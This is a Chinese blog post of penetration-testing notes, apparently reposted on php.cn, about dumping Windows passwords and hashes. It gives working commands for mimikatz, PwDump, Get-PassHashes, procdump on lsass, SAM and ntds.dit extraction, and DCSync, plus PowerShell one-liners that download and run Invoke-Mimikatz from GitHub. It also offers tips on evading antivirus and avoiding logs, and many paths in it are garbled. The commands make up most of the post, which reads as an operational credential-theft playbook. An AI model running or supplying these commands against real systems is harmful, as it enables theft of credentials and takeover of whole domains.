内网学习笔记 | 密码抓取

星夢妙者
发布: 2025-09-03 08:27:23
原创
920人浏览过

0、前言

Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot% tds tds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。

在非域环境中,即工作组的环境中,用户的密码等信息被存储在 SAM 文件中,该文件也同样是被系统禁止读取的。

Windows 系统中的密码一般由两部分组成,分别是 LM Hash 和 NTLM Hash,结构通常如下:

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">username:RID:LM-Hash:NT-Hash
登录后复制

LM Hash(LAN Manager Hash)是 Windows 最早使用的加密算法,由 IBM 设计,其本质是 DES 加密,由于使用的 DES 算法,因此它的 KEY 是固定的,同时结合一些其他特性导致 LM Hash 加密算法较为脆弱,因此微软在 1993 年在 NT 3.1 中引入了 NTLM 协议。

NTLM Hash 是基于 MD4 的加密算法,个人版从 Vista 以后,服务版从 Windows Server 2003 以后,系统的认证方式都采用了 NTLM Hash,为了兼容性,微软也只是把 LM Hash 禁用了,只启用了 NTLM Hash.

在 Windows Vista 和 Windows Server 2003 及之前的系统默认使用的是 LM 加密,只有用户密码超过 14 位时才会使用 NTLM 加密,之后从 Vista 的系统开始,不再使用 LM Hash 加密,而是全部采用了 NTLM Hash 加密。

内网学习笔记 | 密码抓取

如果用户密码为空密码或者不存储 LM Hash 的话,我们抓到的 LM Hash 就是 AAD3B435B51404EEAAD3B435B51404EE,所以在 Vista 和 Windows Server 2003 之后的系统里抓取到的 LM Hash 都是 AAD3B435B51404EEAAD3B435B51404EE,其实这里的 LM Hash 也没有任何意义了。

也就是说从Windows Vista 和 Windows Server 2008 开始,默认情况下只存储 NTLM Hash,LM Hash 将不再被使用。

下面看下常见的抓取密码的工具。

1、GetPass

GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm

以管理员权限直接运行 GetPassword.exe 直接查看到明文密码

内网学习笔记 | 密码抓取
2、PwDump7

PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/

PwDump7 只能获取到用户的 hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。

PwDump7 同样使用管理员权限直接运行即可。

内网学习笔记 | 密码抓取
3、QuarkPwDump

QuarkPwDump 下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe

运行以下命令导出用户 Hash

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">QuarkPwDump.exe --dump-hash-local
登录后复制
内网学习笔记 | 密码抓取
4、Get-PassHashes

Get-PassHashes 是一个 PS 脚本,Get-PassHashes 下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">Import-Module .Get-PassHashes.ps1Get-PassHashes
登录后复制

或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;"># 不使用代理powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"
登录后复制
内网学习笔记 | 密码抓取
5、mimikatz

说到密码抓取,又怎能少得了 mimikatz 呢。

mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等。

mimikatz 项目 releases 地址:https://github.com/gentilkiwi/mimikatz/releases

使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
登录后复制
内网学习笔记 | 密码抓取

或者使用 mimikatz 直接查看明文密码

Get笔记
Get笔记

Get笔记,一款AI驱动的知识管理产品

Get笔记 125
查看详情 Get笔记
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
登录后复制
内网学习笔记 | 密码抓取

另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;"># 不使用代理powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
登录后复制
内网学习笔记 | 密码抓取
6、SAM、SYSTEM、SECURITY 文件导出文件

直接注册表导出 SAM、SYSTEM、SECURITY 文件

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">reg save HKLMSAM sam.hivreg save HKLMSYSTEM system.hivreg save HKLMSECURITY security.hiv
登录后复制

或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">Import-Module -name .Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:WindowsSystem32configSAM" -LocalDestination "c:sam.hiv"Invoke-NinjaCopy -Path "C:WindowsSystem32configSYSTEM" -LocalDestination "c:system.hiv"Invoke-NinjaCopy -Path "C:WindowsSystem32configSECURITY" -LocalDestination "c:security.hiv"
登录后复制

如果条件允许也可以使用 U 盘启动盘直接拷贝以下文件

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">C:WindowsSystem32configSAMC:WindowsSystem32configSYSTEMC:WindowsSystem32configSECURITY
登录后复制
代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">除此之外,使用一些漏洞也可以获取到 SAM、SYSTEM、SECURITY 文件,比如 CVE-2021-36934,具体可参考 https://teamssix.com/210725-074847.html
登录后复制
获取 HASH

用 mimikatz 获取

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">mimikatz.exelsadump::sam /sam:sam.hiv /system:system.hiv
登录后复制
内网学习笔记 | 密码抓取

用 cain 获取,找到 Cracker 里的 LM & NTLM Hash,点击加号,选择从 SAM 导入,选择 SAM 文件后,查看 SYSTEM 文件的 HEX,复制到 Boot Key 里,点击下一步即可查看。

内网学习笔记 | 密码抓取

cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。

内网学习笔记 | 密码抓取

用 SAMInside 读取,直接在 File 菜单中选择导入 SAM 和 SYSTEM 文件即可

内网学习笔记 | 密码抓取
7、lsass.dmp 文件导出文件

任务管理器导出 lsass.dmp 文件,在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。

或者使用 Procdump 导出 lsass.dmp 文件,Procdump 是微软官方发布的工具,因此基本不会被杀软拦截,下载地址:https://download.sysinternals.com/files/Procdump.zip

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">procdump -accepteula -ma lsass.exe lsass.DMP
登录后复制
获取 HASH

使用 mimikatz 可获取 lsass.dmp 文件里的 hash 以及明文密码值

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">mimikatz.exesekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full
登录后复制
内网学习笔记 | 密码抓取
8、ntds.dit 文件

在域中的所有账号密码被存放在了 ntds.dit 文件中,如果获取到该文件就相当于拿到整个域权限,不过该文件只在域控中。

ntds.dit 文件位置:

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">C:WindowsNTDSNTDS.dit
登录后复制
导出 ntds.dit

Ntdsutil 导出 ntds.dit 和 system 文件,并放在 C 盘目录下

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">Ntdsutil "activate instance ntds" Ifm "create full C:
tdsutil" Quit quit
登录后复制
内网学习笔记 | 密码抓取

vssadmin 导出 ntds.dit

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">vssadmin create shadow /for=C:copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:
tds.dit# SAM 等文件也可以使用 vssadmin 导出copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM C:sam.hivcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:system.hivcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSECURITY C:security.hiv
登录后复制

NinjaCopy 脚本也可以,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">Import-Module -name .Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:windows
tds
tds.dit" -LocalDestination "C:
tds.dit"
登录后复制
获取 HASH

NTDSDumpEx 查看 ntds.dit,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">NTDSDumpEx -d ntds.dit -s system.hiv -o domain.txt
登录后复制
内网学习笔记 | 密码抓取

或者使用 impacket 里的 secretsdump.py 脚本查看 ntds.dit 内容,下载地址:https://github.com/SecureAuthCorp/impacket

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">python3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
登录后复制
内网学习笔记 | 密码抓取

除了拷贝 ntds.dit 到本地外,mimikatz 也可以直接查看本机的域用户所有的账号密码,不过相对于拷贝 ntds.dit 到自己的机器上来说,直接使用 mimikatz 隐蔽性肯定就会差些了。

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;">mimikatz.exe# 直接获取 teamssix 域内所有用户 hashlsadump::dcsync /domain:teamssix.com /all /csv# 获取单个用户的详细信息lsadump::dcsync /domain:teamssix.com /user:administrator
登录后复制
9、WIFI 密码

使用自带命令可直接查询

代码语言:javascript代码运行次数:0运行复制
<pre class="brush:php;toolbar:false;"># 获取登录过的 WIFI 名称netsh wlan show profiles# 获取某个连接过的 WIFI 密码netsh wlan show profile name="teamssix" key=clear# 获取所有连接过的 WIFI 密码for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear
登录后复制
内网学习笔记 | 密码抓取

往期推荐

内网学习笔记 | 26、ntds.dit 的提取与散列值导出

内网学习笔记 | 25、Exchange 邮件服务器

内网学习笔记 | 24、SPN 的应用

以上就是内网学习笔记 | 密码抓取的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号